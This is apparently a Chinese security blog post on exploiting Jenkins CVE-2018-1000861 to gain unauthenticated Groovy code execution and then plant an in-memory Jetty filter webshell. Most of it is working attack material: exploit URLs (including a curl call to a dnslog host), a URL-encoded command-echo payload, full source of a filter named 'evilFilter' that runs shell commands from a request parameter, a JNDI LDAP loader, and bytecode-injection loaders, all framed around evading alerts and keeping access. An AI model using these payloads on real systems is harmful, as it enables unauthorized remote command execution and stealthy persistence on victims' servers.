Jenkins CVE-2018-1000861 内存马注入

Jenkins 介绍

Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,在企业中使用非常广泛

相关分析可以看 l1nk3r 师傅的文章:https://xz.aliyun.com/t/6361

作者 Orange 分析:https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

前言

Jenkins 低版本下 (Jenkins <= 2.137 ) 我们可以在未授权的情况下通过 groovy 来进行命令执行, 而且利用方式也非常简单只需要发一个 Get 请求就可以了

网上的payload大多都是一些命令执行,请求外带的的情况

  1. 命令执行:
  2. /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox
  3. .groovy.SecureGroovyScript/checkScript
  4. ?sandbox=true
  5. &value=public%20class%20x%20%7B%0A%20%20public%20x()%7B%0A%20%20%20%20%22touch%20%2Ftmp
  6. %2Fsuccess%22.execute()%0A%20%20%7D%0A%7D
  7. 漏洞检测:
  8. 借助 dnslog 等平台进行检测 /securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox. groovy.SecureGroovyScript/checkScript? sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.R untime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d
  9. /securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.
  10. groovy.SecureGroovyScript/checkScript?
  11. sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl
  12. http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d
  13. 通过时间延迟来判断命令是否执行:
  14. 延时5s http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.sc riptsecurity.sandbox.groovy.SecureGroovyScript/checkScript? sandbox=true&value=class%20abcd%7Babcd()%7Bsleep(5000)%7D%7D

但是我在实际利用的情况下,由于反弹shell这些非常容易检测,所以一利用就直接触发了告警,当时就在想有没有更好的利用手法,最好能传一个 webshell 上去,但是发现很多官方提供的 war 包可直接通过 java -jar 进行启动,所以文件上传也没什么可能性,于是我就尝试利用内存马来进行权限维持

内存马注入实际其实就是代码注入,在查阅了漏洞描述等文章后发现这里实际上是 Groovy 沙盒逃逸导致的漏洞,由于是 Groovy 代码执行,所以让内存马注入有了可能性

所以大致的思路如下:

发现 Jenkins 漏洞 -> 反弹shell触发告警尝试别的方法 -> 发现漏洞利用为 Groovy 代码执行 -> Jetty 回显 -> Jetty 内存马注入 -> Payload 体积过大问题

环境准备

Jenkins 下载:

修改可下任意版本

https://updates.jenkins-ci.org/download/war/2.31/jenkins.war

https://get.jenkins.io/war/2.302/jenkins.war

下载 war 包之后解压导入 IDEA ,然后利用如下命令开启远程调试模式,至此我们就可以动态调代码了

java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 jenkins2.137.war

命令执行回显

先不急着内存马注入,先尝试解决回显,毕竟回显是内存马的第一步,官方提供的 war 是可以直接 java -jar 进行启动

可以看到自带的是 Jetty

Jenkins CVE-2018-1000861 内存马注入 - 图1

所以对应的我们就需要 Jetty 的回显链,这里直接参考大哥们的中间件回显项目

feihong师傅:https://github.com/feihong-cs/Java-Rce-Echo/tree/master/Jetty/code

su18师傅:https://github.com/su18/MemoryShell/tree/main/memshell-test/memshell-test-jetty

回显比较简单,我们只需要获取请求和响应然后将结果写到 response 中可以了,简单构造了一下

回显 Payload 如下:

不过这样全放到 get 里面体积会比较大,所以可以针对一些空格来压缩一下

public class x{
    public x(){
        Class clazz = Thread.currentThread().getClass();
        java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
        field.setAccessible(true);
        Object obj = field.get(Thread.currentThread());
        field = obj.getClass().getDeclaredField("table");
        field.setAccessible(true);
        obj = field.get(obj);
        Object[] obj_arr = (Object[]) obj;
        String cmd = "whoami";
        for(int i = 0; i < obj_arr.length; i++){
            Object o = obj_arr[i];
            if(o == null) continue;
            field = o.getClass().getDeclaredField("value");
            field.setAccessible(true);
            obj = field.get(o);
            if(obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")){
                Object connection = obj;
                java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", null);
                obj = method.invoke(connection, null);
                method = obj.getClass().getMethod("getHeader", String.class);
                cmd = (String)method.invoke(obj, "cmd");
                if(cmd != null && !cmd.isEmpty()){
                    String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    method = connection.getClass().getMethod("getPrintWriter", String.class);
                    java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, "utf-8");
                    printWriter.println(res);
                }
                break;
            }else if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
                java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null);
                Object httpChannel = method.invoke(obj, null);
                method = httpChannel.getClass().getMethod("getRequest", null);
                obj = method.invoke(httpChannel, null);
                method = obj.getClass().getMethod("getHeader", String.class);
                cmd = (String)method.invoke(obj, "cmd");
                if(cmd != null && !cmd.isEmpty()){
                    String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    method = httpChannel.getClass().getMethod("getResponse", null);
                    obj = method.invoke(httpChannel, null);
                    method = obj.getClass().getMethod("getWriter", null);
                    java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null);
                    printWriter.println(res);
                }
                break;
            }
        }
    }   
}

最终回显 Payload 如下(其实 payload 还可以进一步压缩:

命令在 header 中添加 cmd:ls 即可

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%7B%0A%20%20%20%20public%20x()%7BClass%20clazz%20%3D%20Thread.currentThread().getClass()%3Bjava.lang.reflect.Field%20field%20%3D%20clazz.getDeclaredField(%22threadLocals%22)%3Bfield.setAccessible(true)%3BObject%20obj%20%3D%20field.get(Thread.currentThread())%3Bfield%20%3D%20obj.getClass().getDeclaredField(%22table%22)%3Bfield.setAccessible(true)%3Bobj%20%3D%20field.get(obj)%3BObject%5B%5D%20obj_arr%20%3D%20(Object%5B%5D)%20obj%3BString%20cmd%20%3D%20%22whoami%22%3B%0A%20%20%20%20%20%20%20%20for(int%20i%20%3D%200%3B%20i%20%3C%20obj_arr.length%3B%20i%2B%2B)%7BObject%20o%20%3D%20obj_arr%5Bi%5D%3Bif(o%20%3D%3D%20null)%20continue%3Bfield%20%3D%20o.getClass().getDeclaredField(%22value%22)%3Bfield.setAccessible(true)%3Bobj%20%3D%20field.get(o)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(obj%20!%3D%20null%20%26%26%20obj.getClass().getName().endsWith(%22AsyncHttpConnection%22))%7BObject%20connection%20%3D%20obj%3Bjava.lang.reflect.Method%20method%20%3D%20connection.getClass().getMethod(%22getRequest%22%2C%20null)%3Bobj%20%3D%20method.invoke(connection%2C%20null)%3Bmethod%20%3D%20obj.getClass().getMethod(%22getHeader%22%2C%20String.class)%3Bcmd%20%3D%20(String)method.invoke(obj%2C%20%22cmd%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(cmd%20!%3D%20null%20%26%26%20!cmd.isEmpty())%7BString%20res%20%3D%20new%20java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(%22%5C%5CA%22).next()%3Bmethod%20%3D%20connection.getClass().getMethod(%22getPrintWriter%22%2C%20String.class)%3Bjava.io.PrintWriter%20printWriter%20%3D%20(java.io.PrintWriter)method.invoke(connection%2C%20%22utf-8%22)%3BprintWriter.println(res)%3B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7Delse%20if(obj%20!%3D%20null%20%26%26%20obj.getClass().getName().endsWith(%22HttpConnection%22))%7Bjava.lang.reflect.Method%20method%20%3D%20obj.getClass().getDeclaredMethod(%22getHttpChannel%22%2C%20null)%3BObject%20httpChannel%20%3D%20method.invoke(obj%2C%20null)%3Bmethod%20%3D%20httpChannel.getClass().getMethod(%22getRequest%22%2C%20null)%3Bobj%20%3D%20method.invoke(httpChannel%2C%20null)%3Bmethod%20%3D%20obj.getClass().getMethod(%22getHeader%22%2C%20String.class)%3Bcmd%20%3D%20(String)method.invoke(obj%2C%20%22cmd%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(cmd%20!%3D%20null%20%26%26%20!cmd.isEmpty())%7BString%20res%20%3D%20new%20java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(%22%5C%5CA%22).next()%3Bmethod%20%3D%20httpChannel.getClass().getMethod(%22getResponse%22%2C%20null)%3Bobj%20%3D%20method.invoke(httpChannel%2C%20null)%3Bmethod%20%3D%20obj.getClass().getMethod(%22getWriter%22%2C%20null)%3Bjava.io.PrintWriter%20printWriter%20%3D%20(java.io.PrintWriter)method.invoke(obj%2C%20null)%3BprintWriter.println(res)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%20%20%20%0A%7D

实现效果如下:

这样我们就可以不使用反弹shell 而通过回显payload 将命令结果进行显示

Jenkins CVE-2018-1000861 内存马注入 - 图2

内存马注入

有了回显只能算是中间态,但是想要维持权限却远远不够,回显成功说明了内存马注入具有可能性,接下来就是内存马注入的利用,这里我们就关注 Jetty 的内存马

在网上最多的基本都是 tomcat 的内存马但是如果遇到其他中间件我们如何进行编写

这里主要来介绍一下我自己编写的一个思路

首先随便打一个断点,但是必须要确保断点处的代码会被运行到

我这里选择的是 Jenkins 的 JenkinsHttpSessionListener 毕竟 session 的创建和销毁肯定会运行到

Jenkins CVE-2018-1000861 内存马注入 - 图3

然后我们就可以看到堆栈情况

Jenkins CVE-2018-1000861 内存马注入 - 图4

这里直接关注到 chain.doFilter 这里,因为熟悉 Filter 内存马的都知道,最终都是放在一个链中的并有着先后顺序,我们的目标就是弄清楚链中放的是什么样的东西,然后我们自己构造出来给他塞到最前面

所以我们就需要先去看 chain 是从哪里取出来的

Jenkins CVE-2018-1000861 内存马注入 - 图5

跟进之后发现 chain 是通过 getFilterChain 方法来进行获取的

Jenkins CVE-2018-1000861 内存马注入 - 图6

跟进查看发现会遍历 ServletHandler#_filterPathMappings 并调用 getFilterHolder 来获取 FilterMapping#_holder 属性的值,添加到 _filters 中

Jenkins CVE-2018-1000861 内存马注入 - 图7

最后 filters 会作为参数进入 Chain 的构造函数 ,最终返回 chain

Jenkins CVE-2018-1000861 内存马注入 - 图8

从上面的源码可看出主要进行了两个步骤

  1. 获取 ServletHandler#_filterPathMappings 并进行遍历
  2. 获取 FilterMapping#_holder 并添加到 _filters 中

所以 ServletHandler、FilterMapping、FilterHolder 是我们目前需要关注的对象

ServletHandler

先来看 ServletHandler,由于我们编写的是 filter 内存马,所以我们就关注和 filter 有关的属性

上文说到我们的 chain 是通过调用 getFilterChain 来获取 ServletHandler#_filterPathMappings,所以搜索 _filterPathMappings 来寻找和 _filterPathMappings 有关的方法

Jenkins CVE-2018-1000861 内存马注入 - 图9

我们这里关注到 updateMappings 方法,因为我们添加 filter 的时候肯定是会修改更新 mapping 所以我们需要知道更新过程中的一些细节

可以看到在更新 mapping 的时候会先从 _filterNameMap 属性中进行寻找如果没有找到 filtername 对应的 FilterHolder 那么就会抛错,然后就是将 filtermapping 添加到 _filterPathMappings

Jenkins CVE-2018-1000861 内存马注入 - 图10

(最开始编写的时候就是这里没注意导致添加失败 - -

Jenkins CVE-2018-1000861 内存马注入 - 图11

同时在 ServletHandler 中还有 prependFilterMapping 方法可直接将我们的 filtermap 放到第一个

Jenkins CVE-2018-1000861 内存马注入 - 图12

看完 ServletHandler 我们可知晓注册内存马需要以下几步:

  1. 添加 到 ServletHandler#_filterNameMap 中
  2. 调用 ServletHandler#prependFilterMapping 将添加到 _filterNameMappings 中的第一位

FilterMapping

然后来看到 FilterMapping

这里我们主要关注我红框框出来的属性,通过结合上下文不难看出 _pathSpecs 为 urlpattern ,_filterName 为我们的 filter 的名字,FilterHolder 应该就是我们 Filter 的封装类

也就是说我们要构造一个 FilterHolder 然后把它放到 FilterMapping 的 _holder 属性中,然后把对应的 filtername 和 urlpattren 也放到 FilterMapping 的 _pathSpecs 和 _filterName 中

Jenkins CVE-2018-1000861 内存马注入 - 图13

filtername 和 urlpattern 很好处理反射赋值就行了,所以并不是我们的重点关注对象,我们需要重点关注 FilterHolder

FilterHolder

来到 FilterHolder 发现是 Filter 的一个封装,发现构造函数传入的参数为 Filter 所以我们后面可以直接可以通过反射获取构造器来进行实例化

Jenkins CVE-2018-1000861 内存马注入 - 图14

大致代码如下:

                Class filterHolderClas = _filters[0].getClass(); 
                Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class);
                Object filterHolder = filterHolderCons.newInstance(shell);

至此我们就是构造好了 FilterHolder 、FilterMapping

所以 filter 的流程大致如下:

ServletHandler#_filterPathMappings
-> FilterMapping#_holder 
--> FilterHolder
---> Filter

寻找 ServletHandler 对象

所以接下来的目标就是寻找 ServletHandler 对象,在可获取到 request & response 的情况下,遍历线程来获取通常可作为起手式,接下来可配合 idea debug 进行寻找

对应属性对应的类都非常的清晰,这里我们的目标是寻找到 ServletHandler 对象

Jenkins CVE-2018-1000861 内存马注入 - 图15

翻一下可在 request#_scope#_servletHander 中找到

Jenkins CVE-2018-1000861 内存马注入 - 图16

所以最后的路径可找到 _servletHandler

request#_scope
  request#_scope#_servletHandler

通过如下反射代码就可以获取到 ServletHandler 对象

....
Object _scope = JettyFilterMemShell.getField(shell.request,"_scope");
Object _servletHandler = JettyFilterMemShell.getField(_scope,"_servletHandler");
....

public static Object getField(Object obj, String fieldName) throws Exception {
  Field f0 = null;
  Class clas = obj.getClass();

  while (clas != Object.class){
    try {
      f0 = clas.getDeclaredField(fieldName);
      break;
    } catch (NoSuchFieldException e){
      clas = clas.getSuperclass();
    }
  }

  if (f0 != null){
    f0.setAccessible(true);
    return f0.get(obj);
  }else {
    throw new NoSuchFieldException(fieldName);
  }
}

最终代码如下:

ps:由于内存马自己编写所以并没有测试多个版本,通用版本内存马可关注 su18 师傅 和 feihong师傅的项目

Su18师傅:https://github.com/feihong-cs/memShell

feihong师傅:https://github.com/feihong-cs/memShell

不过 Jenkins 这里的 jetty 内存马上面项目的方法会获取不到特定属性从而注入失败

import javax.servlet.*;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Map;

@SuppressWarnings("all")
public class JettyFilterMemShell implements Filter {

    Object request = null;
    Object response = null;
    boolean bool = false;
    String filterName = "evilFilter";
    String urlPattern = "/*";

    static {
        JettyFilterMemShell shell = new JettyFilterMemShell();
        try {
            shell.init();
            Object _scope = JettyFilterMemShell.getField(shell.request,"_scope");
              // 获取 ServletHandler 对象
            Object _servletHandler = JettyFilterMemShell.getField(_scope,"_servletHandler");

            Object[] _filters = (Object[]) JettyFilterMemShell.getField(_servletHandler,"_filters");
            // 判断 filter 是否已注入,如果已注入就不继续运行代码
            for (Object filter:_filters){
                String _name = (String) JettyFilterMemShell.getField(filter,"_name");
                if (_name.equals(shell.filterName)){
                    shell.bool = true;
                    break;
                }
            }

            if (!shell.bool){
                // 反射获取 FilterHolder 构造器并进行实例化
                Class filterHolderClas = _filters[0].getClass(); 
                Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class);
                Object filterHolder = filterHolderCons.newInstance(shell); 了


                // 反射获取 FilterMapping 构造器并进行实例化
                Object[] _filtersMappings = (Object[]) JettyFilterMemShell.getField(_servletHandler,"_filterMappings");
                Class filterMappingClas = _filtersMappings[0].getClass(); 
                Constructor filterMappingCons = filterMappingClas.getConstructor();
                Object filterMapping = filterMappingCons.newInstance();

                // 反射赋值 filter 名
                Field _filterNameField = filterMappingClas.getDeclaredField("_filterName");
                _filterNameField.setAccessible(true);
                _filterNameField.set(filterMapping,shell.filterName);

                  // 反射赋值 _holder
                Field _holderField = filterMappingClas.getDeclaredField("_holder");
                _holderField.setAccessible(true);
                _holderField.set(filterMapping,filterHolder);

                  // 反射赋值 urlpattern
                Field _pathSpecsField = filterMappingClas.getDeclaredField("_pathSpecs");
                _pathSpecsField.setAccessible(true);
                _pathSpecsField.set(filterMapping,new String[]{shell.urlPattern});

                /**
                 * private final Map<String, FilterHolder> _filterNameMap = new HashMap();
                 *
                 *     at org.eclipse.jetty.servlet.ServletHandler.updateMappings(ServletHandler.java:1345)
                 *     at org.eclipse.jetty.servlet.ServletHandler.setFilterMappings(ServletHandler.java:1542)
                 *     at org.eclipse.jetty.servlet.ServletHandler.prependFilterMapping(ServletHandler.java:1242)
                 */

                  // 属性带有 final 需要先反射修改 modifiers 才能编辑 final 变量
                Field _filterNameMapField = _servletHandler.getClass().getDeclaredField("_filterNameMap");
                _filterNameMapField.setAccessible(true);
                Field modifiersField = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
                modifiersField.setAccessible(true);
                modifiersField.setInt(_filterNameMapField,_filterNameMapField.getModifiers()& ~Modifier.FINAL);
                // 先把原来的取出来然后再放进去
                Map _filterNameMap = (Map) _filterNameMapField.get(_servletHandler);
                _filterNameMap.put(shell.filterName, filterHolder);
                _filterNameMapField.set(_servletHandler,_filterNameMap);
                                // 调用 prependFilterMapping 将 mapping 放到第一个
                Method prependFilterMappingMethod = _servletHandler.getClass().getDeclaredMethod("prependFilterMapping",filterMappingClas);
                prependFilterMappingMethod.setAccessible(true);
                prependFilterMappingMethod.invoke(_servletHandler,filterMapping);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void init() throws Exception{
        Class<?> clazz = Thread.currentThread().getClass();
        Field field = clazz.getDeclaredField("threadLocals");
        field.setAccessible(true);
        Object object = field.get(Thread.currentThread());
        field = object.getClass().getDeclaredField("table");
        field.setAccessible(true);
        object = field.get(object);
        Object[] arrayOfObject = (Object[])object;
        for (byte b = 0; b < arrayOfObject.length; b++) {
            Object object1 = arrayOfObject[b];
            if (object1 != null) {
                field = object1.getClass().getDeclaredField("value");
                field.setAccessible(true);
                object = field.get(object1);
                if (object != null && object.getClass().getName().endsWith("HttpConnection")) {
                    Method method = object.getClass().getDeclaredMethod("getHttpChannel", null);
                    Object object2 = method.invoke(object, null);
                    method = object2.getClass().getMethod("getRequest", null);
                    this.request =  method.invoke(object2, null);
                    method = this.request.getClass().getMethod("getResponse", null);
                    this.response =  method.invoke(this.request, null);
                    break;
                }
            }
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        String cmd = servletRequest.getParameter("cmd");
        if(cmd != null && !cmd.isEmpty()){
            String[] cmds = null;
            if(File.separator.equals("/")){
                cmds = new String[]{"/bin/sh", "-c", cmd};
            }else{
                cmds = new String[]{"cmd", "/C", cmd};
            }

            Process process = Runtime.getRuntime().exec(cmds);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {
    }

    public static Object getField(Object obj, String fieldName) throws Exception {
        Field f0 = null;
        Class clas = obj.getClass();

        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            return f0.get(obj);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }
}

前台 JNDI 内存马注入

由于前台是内存马注入会超长,所以采用 JNDI 注入来缩减长度

public class x {
    public Object req = null;
    public Object resp = null;
    def x(){
        Class clazz = Thread.currentThread().getClass();
        java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
        field.setAccessible(true);
        Object obj = field.get(Thread.currentThread());
        field = obj.getClass().getDeclaredField("table");
        field.setAccessible(true);
        obj = field.get(obj);
        Object[] obj_arr = (Object[]) obj;
        for(int i = 0; i < obj_arr.length; i++){
            Object o = obj_arr[i];
            if(o == null) continue;
            field = o.getClass().getDeclaredField("value");
            field.setAccessible(true);
            obj = field.get(o);
            if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
                java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null);
                Object httpChannel = method.invoke(obj, null);
                method = httpChannel.getClass().getMethod("getRequest", null);
                this.req = method.invoke(httpChannel, null);
                method = this.req.getClass().getMethod("getResponse",null);
                this.resp = method.invoke(this.req,null);
                method = this.resp.getClass().getMethod("getWriter",null);
                java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(this.resp, null);
                javax.naming.Context ctx = new javax.naming.InitialContext();
                ctx.lookup("ldap://localhost:1389/JettyFilterMemShell");
                break;
            }
        }
    }
}

Jenkins CVE-2018-1000861 内存马注入 - 图17

Jenkins CVE-2018-1000861 内存马注入 - 图18

后台字节码加载

在 Jenkins 后台提供了脚本执行的地方,所以我们可以不需要顾及长度问题,直接字节码加载即可

Jenkins CVE-2018-1000861 内存马注入 - 图19

利用 classloader 加载字节码

public class x {
    public Object req = null;
    public Object resp = null;
    def x(){
        Class clazz = Thread.currentThread().getClass();
        java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
        field.setAccessible(true);
        Object obj = field.get(Thread.currentThread());
        field = obj.getClass().getDeclaredField("table");
        field.setAccessible(true);
        obj = field.get(obj);
        Object[] obj_arr = (Object[]) obj;
        for(int i = 0; i < obj_arr.length; i++){
            Object o = obj_arr[i];
            if(o == null) continue;
            field = o.getClass().getDeclaredField("value");
            field.setAccessible(true);
            obj = field.get(o);
            if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
                java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null);
                Object httpChannel = method.invoke(obj, null);
                method = httpChannel.getClass().getMethod("getRequest", null);
                this.req = method.invoke(httpChannel, null);
                String data = "内存马字节码";
                this.getClass(data).newInstance();
                break;
            }
        }
    }

    public Class<?> getClass(String classCode) throws IOException,  java.lang.reflect.InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
        ClassLoader loader= Thread.currentThread().getContextClassLoader();
        sun.misc.BASE64Decoder base64Decoder = new sun.misc.BASE64Decoder();
        java.lang.reflect.Method method = null;
        byte[] bytes = base64Decoder.decodeBuffer(classCode);
        Class<?> clz  = loader.getClass();
        while (method == null && clz != Object.class) {
            try {
                method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            } catch (NoSuchMethodException ex) {
                clz = clz.getSuperclass();
            }
        }
        if (method != null) {
            method.setAccessible(true);
            return (Class<?>) method.invoke(loader, bytes, 0, bytes.length);
        }
        return null;
    }
}

Jenkins CVE-2018-1000861 内存马注入 - 图20

public class x extends javax.servlet.http.HttpServlet{
    public Object req = null;
    public Object resp = null;
    def x(){
        Class clazz = Thread.currentThread().getClass();
        java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
        field.setAccessible(true);
        Object obj = field.get(Thread.currentThread());
        field = obj.getClass().getDeclaredField("table");
        field.setAccessible(true);
        obj = field.get(obj);
        Object[] obj_arr = (Object[]) obj;
        for(int i = 0; i < obj_arr.length; i++){
            Object o = obj_arr[i];
            if(o == null) continue;
            field = o.getClass().getDeclaredField("value");
            field.setAccessible(true);
            obj = field.get(o);
            if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
                java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null);
                Object httpChannel = method.invoke(obj, null);
                method = httpChannel.getClass().getMethod("getRequest", null);
                this.req = method.invoke(httpChannel, null);
                method = this.req.getClass().getMethod("getResponse",null);
                this.resp = method.invoke(this.req,null);
                method = this.resp.getClass().getMethod("getWriter",null);
                java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(this.resp, null);
                String data = this.req.getParameter("data");
                this.getClass(data).newInstance();
                break;
            }
        }
    }

    public Class<?> getClass(String classCode) throws IOException,  java.lang.reflect.InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
        ClassLoader loader= Thread.currentThread().getContextClassLoader();
        sun.misc.BASE64Decoder base64Decoder = new sun.misc.BASE64Decoder();
        java.lang.reflect.Method method = null;
        byte[] bytes = base64Decoder.decodeBuffer(classCode);
        Class<?> clz  = loader.getClass();
        while (method == null && clz != Object.class) {
            try {
                method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            } catch (NoSuchMethodException ex) {
                clz = clz.getSuperclass();
            }
        }
        resp.getWriter().println(method.getName())
        if (method != null) {
            method.setAccessible(true);
            return (Class<?>) method.invoke(loader, bytes, 0, bytes.length);
        }
        return null;
    }
}